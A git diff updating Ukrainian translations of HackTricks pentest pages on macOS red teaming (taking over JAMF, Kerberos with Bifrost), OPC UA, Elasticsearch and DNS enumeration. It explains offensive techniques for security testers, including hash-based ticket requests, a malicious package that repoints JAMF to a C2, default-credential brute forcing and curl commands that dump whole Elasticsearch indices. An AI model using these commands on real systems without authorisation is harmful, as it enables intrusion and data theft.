Більше того, jamf **постійно** як **LaunchDaemon** в **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Більше того, jamf **постійно** існує як **LaunchDaemon** в **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Захоплення пристрою JAMF
**JSS** (Jamf Software Server) **URL**, який буде використовувати **`jamf`**, знаходиться в **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
URL **JSS** (Jamf Software Server), який використовуватиме **`jamf`**, знаходиться в **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Цей файл в основному містить URL:
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@ -79,7 +87,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Отже, зловмисник може встановити шкідливий пакет (`pkg`), який **перезаписує цей файл**, встановлюючи **URL на Mythic C2 слухача з агента Typhon**, щоб тепер мати можливість зловживати JAMF як C2.
Отже, зловмисник може встановити шкідливий пакет (`pkg`), який **перезаписує цей файл**, встановлюючи **URL для прослуховувача Mythic C2 з агента Typhon**, щоб тепер мати можливість зловживати JAMF як C2.
{% code overflow="wrap" %}
```bash
@ -107,7 +115,7 @@ sudo jamf policy -id 0
Однак, **облікові дані** можуть передаватися цим скриптам як **параметри**, тому вам потрібно буде моніторити `ps aux | grep -i jamf` (навіть не будучи root).
Скрипт [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) може слухати нові файли, що додаються, і нові аргументи процесу.
Скрипт [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) може слухати нові файли, які додаються, і нові аргументи процесу.
### macOS Дистанційний доступ
@ -141,7 +149,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound - це розширення до інструменту аудиту Bloodhound, що дозволяє збирати та імпортувати відносини Active Directory на MacOS хостах.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost - це проект на Objective-C, призначений для взаємодії з API Heimdal krb5 на macOS. Мета проекту - забезпечити кращий тестування безпеки навколо Kerberos на пристроях macOS, використовуючи рідні API без необхідності в будь-яких інших фреймворках або пакетах на цільовому пристрої.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Інструмент JavaScript для автоматизації (JXA) для перерахунку Active Directory.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript для автоматизації (JXA) інструмент для перерахунку Active Directory.
### Інформація про домен
```bash
@ -152,11 +160,11 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Три типи користувачів MacOS:
* **Локальні користувачі** — Керуються локальною службою OpenDirectory, вони не пов'язані жодним чином з Active Directory.
* **Мережеві користувачі**Витратні користувачі Active Directory, які потребують з'єднання з сервером DC для аутентифікації.
* **Мережеві користувачі**Вразливі користувачі Active Directory, які потребують з'єднання з сервером DC для аутентифікації.
* **Мобільні користувачі** — Користувачі Active Directory з локальною резервною копією своїх облікових даних та файлів.
Локальна інформація про користувачів та групи зберігається у папці _/var/db/dslocal/nodes/Default._\
Наприклад, інформація про користувача на ім'я _mark_ зберігається у _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_у _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Наприклад, інформація про користувача з ім'ям _mark_ зберігається у _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_у _/var/db/dslocal/nodes/Default/groups/admin.plist_.
На додаток до використання країв HasSession та AdminTo, **MacHound додає три нові краї** до бази даних Bloodhound:
@ -207,7 +215,7 @@ bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Керберостинг
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
@ -217,15 +225,15 @@ bifrost --action asktgs --spn [service] --domain [domain.com] \
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## Доступ до Keychain
## Доступ до Ключниці
Keychain, ймовірно, містить чутливу інформацію, доступ до якої без генерації запиту може допомогти просунутися в червоній командній вправі:
Ключниця, ймовірно, містить чутливу інформацію, доступ до якої без генерації запиту може допомогти просунутися в червоній командній вправі:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
{% endcontent-ref %}
## Зовнішні сервіси
## Зовнішні Сервіси
MacOS Red Teaming відрізняється від звичайного Windows Red Teaming, оскільки зазвичай **MacOS інтегровано з кількома зовнішніми платформами безпосередньо**. Загальна конфігурація MacOS полягає в доступі до комп'ютера за допомогою **синхронізованих облікових даних OneLogin та доступу до кількох зовнішніх сервісів** (як-от github, aws...) через OneLogin.
@ -245,17 +253,25 @@ MacOS Red Teaming відрізняється від звичайного Windows
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -15,13 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## Basic Information
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Основна інформація
**OPC UA**, що означає **Open Platform Communications Unified Access**, є важливим відкритим протоколом, що використовується в різних галузях, таких як виробництво, енергетика, аерокосмічна промисловість та оборона для обміну даними та контролю обладнання. Він унікально дозволяє обладнанню різних постачальників спілкуватися, особливо з PLC.
Його конфігурація дозволяє застосовувати потужні заходи безпеки, але часто, для сумісності зі старими пристроями, ці заходи зменшуються, що піддає системи ризикам. Крім того, знайти послуги OPC UA може бути складно, оскільки мережеві сканери можуть їх не виявити, якщо вони знаходяться на нестандартних портах.
Його конфігурація дозволяє застосовувати сильні заходи безпеки, але часто, для сумісності зі старими пристроями, ці заходи зменшуються, що піддає системи ризикам. Крім того, знайти послуги OPC UA може бути складно, оскільки мережеві сканери можуть їх не виявити, якщо вони знаходяться на нестандартних портах.
**Default port:** 4840
**Порт за замовчуванням:** 4840
```text
PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack
@ -34,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Використання вразливостей
Якщо виявлено вразливості обходу аутентифікації, ви можете відповідно налаштувати [OPC UA клієнт](https://www.prosysopc.com/products/opc-ua-browser/) і подивитися, до чого ви можете отримати доступ. Це може дозволити все, починаючи від простого читання значень процесів до фактичного управління важким промисловим обладнанням.
Якщо виявлено вразливості обходу аутентифікації, ви можете відповідно налаштувати [OPC UA клієнт](https://www.prosysopc.com/products/opc-ua-browser/) і подивитися, до чого ви можете отримати доступ. Це може дозволити все, починаючи від простого читання значень процесу до фактичного управління важким промисловим обладнанням.
Щоб отримати уявлення про пристрій, до якого ви маєте доступ, прочитайте значення вузлів "ServerStatus" в адресному просторі та знайдіть посібник з використання.
@ -46,17 +54,25 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та отримання задоволення.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,17 +36,19 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та отримання задоволення.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,17 +15,25 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Основна інформація
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для доставки даних, які називаються Beats.
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash і Kibana, а тепер має легкі агенти для доставки даних, які називаються Beats.
### Що таке індекс Elasticsearch?
Індекс Elasticsearch є колекцією **пов'язаних документів**, збережених у форматі **JSON**. Кожен документ складається з **ключів** та їх відповідних **значень** (рядки, числа, булеві значення, дати, масиви, геолокації тощо).
Індекс Elasticsearch є **колекцією** **пов'язаних документів**, збережених у форматі **JSON**. Кожен документ складається з **ключів** та їх відповідних **значень** (рядки, числа, булеві значення, дати, масиви, геолокації тощо).
Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для забезпечення швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово.
Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово.
Під час процесу індексації Elasticsearch зберігає документи та створює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексації** використовується для додавання або оновлення JSON-документів у конкретному індексі.
Під час процесу індексації Elasticsearch зберігає документи та створює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексу** використовується для додавання або оновлення JSON-документів у конкретному індексі.
**Порт за замовчуванням**: 9200/tcp
@ -41,7 +49,7 @@ Elasticsearch використовує ефективну структуру д
### Аутентифікація
**За замовчуванням аутентифікація в Elasticsearch не ввімкнена**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних.
**За замовчуванням у Elasticsearch не ввімкнена аутентифікація**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних.
Ви можете перевірити, що аутентифікація вимкнена, надіславши запит до:
```bash
@ -52,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Тоді ви можете [**спробувати брутфорс**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому можна використовувати все, що BF HTTP basic auth може використовувати).\
Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Тоді ви можете [**спробувати брутфорсити це**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому можна використовувати все, що може BF HTTP basic auth).\
Ось у вас є **список стандартних імен користувачів**: _**elastic** (суперкористувач), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. Старі версії Elasticsearch мають стандартний пароль **changeme** для цього користувача.
```
curl -X GET http://user:password@IP:9200/
@ -100,13 +108,13 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodes | | |
Ці кінцеві точки були [**взяти з документації**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html), де ви можете **знайти більше**.\
Також, якщо ви отримуєте доступ до `/_cat`, відповідь міститиме `/_cat/*` кінцеві точки, підтримувані екземпляром.
Також, якщо ви звернетеся до `/_cat`, відповідь міститиме `/_cat/*` кінцеві точки, підтримувані екземпляром.
У `/_security/user` (якщо автентифікація увімкнена) ви можете побачити, який користувач має роль `superuser`.
### Indices
Ви можете **зібрати всі індекси**, отримуючи доступ до `http://10.10.10.115:9200/_cat/indices?v`
Ви можете **зібрати всі індекси**, звернувшись до `http://10.10.10.115:9200/_cat/indices?v`
```
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
@ -123,9 +131,9 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
![](<../.gitbook/assets/image (914).png>)
_Витратьте хвилину, щоб порівняти вміст кожного документа (запису) в індексі bank та поля цього індексу, які ми бачили в попередньому розділі._
_Витратьте хвилину, щоб порівняти вміст кожного документа (запису) в індексі банку та поля цього індексу, які ми бачили в попередньому розділі._
Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **в цьому індексі знайдено 1000 документів**, але лише 10 були отримані. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\
Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **в цьому індексі знайдено 1000 документів**, але лише 10 було повернуто. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\
Але тепер, коли ви знаєте, що **цей індекс містить 1000 документів**, ви можете **вивантажити всі з них**, вказавши кількість записів, які ви хочете вивантажити в параметрі **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
римітка: Якщо ви вкажете більше число, всі записи все одно будуть вивантажені, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._
@ -148,7 +156,7 @@ _Зверніть увагу, що параметр q, який використ
### Права на запис
Ви можете перевірити свої права на запис, спробувавши створити новий документ в новому індексі, запустивши щось на зразок наступного:
Ви можете перевірити свої права на запис, спробувавши створити новий документ у новому індексі, запустивши щось на зразок наступного:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -180,17 +188,25 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
* `port:9200 elasticsearch`
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу до систем і розваг.
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,10 +36,10 @@ PORT STATE SERVICE REASON
```
### Different DNS Servers
* **DNS Root Servers**: Це сервери, які знаходяться на вершині ієрархії DNS, керуючи доменами верхнього рівня і втручаючись лише у випадку, якщо сервери нижчого рівня не відповідають. Інтернет-корпорація з присвоєння імен та номерів (**ICANN**) контролює їхню роботу, загальна кількість становить 13.
* **Authoritative Nameservers**: Ці сервери мають остаточне слово для запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається кореневим серверам.
* **DNS Root Servers**: Це сервери, які знаходяться на вершині ієрархії DNS, керуючи доменами верхнього рівня і втручаючись лише у випадку, якщо сервери нижчого рівня не відповідають. Операцію цих серверів контролює Інтернет-корпорація з присвоєння імен та номерів (**ICANN**), загальна кількість яких становить 13.
* **Authoritative Nameservers**: Ці сервери мають остаточне слово для запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається на кореневі сервери.
* **Non-authoritative Nameservers**: Не маючи власності над зонами DNS, ці сервери збирають інформацію про домени через запити до інших серверів.
* **Caching DNS Server**: Цей тип сервера запам'ятовує попередні відповіді на запити на певний час, щоб прискорити час відповіді на майбутні запити, при цьому тривалість кешу визначається авторитетним сервером.
* **Caching DNS Server**: Цей тип сервера запам'ятовує відповіді на попередні запити на певний час, щоб прискорити час відповіді на майбутні запити, при цьому тривалість кешу визначається авторитетним сервером.
* **Forwarding Server**: Виконуючи просту роль, пересилальні сервери просто передають запити на інший сервер.
* **Resolver**: Інтегровані в комп'ютери або маршрутизатори, резолвери виконують розв'язання імен локально і не вважаються авторитетними.
@ -113,12 +115,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
{% hint style="info" %}
Якщо вам вдається знайти піддомени, що розв'язуються на внутрішні IP-адреси, вам слід спробувати виконати зворотний dns BF до NS домену, запитуючи цей діапазон IP.
Якщо вам вдається знайти піддомени, що розв'язуються на внутрішні IP-адреси, вам слід спробувати виконати реверсний DNS BF до NS домену, запитуючи цей діапазон IP.
{% endhint %}
Інший інструмент для цього: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
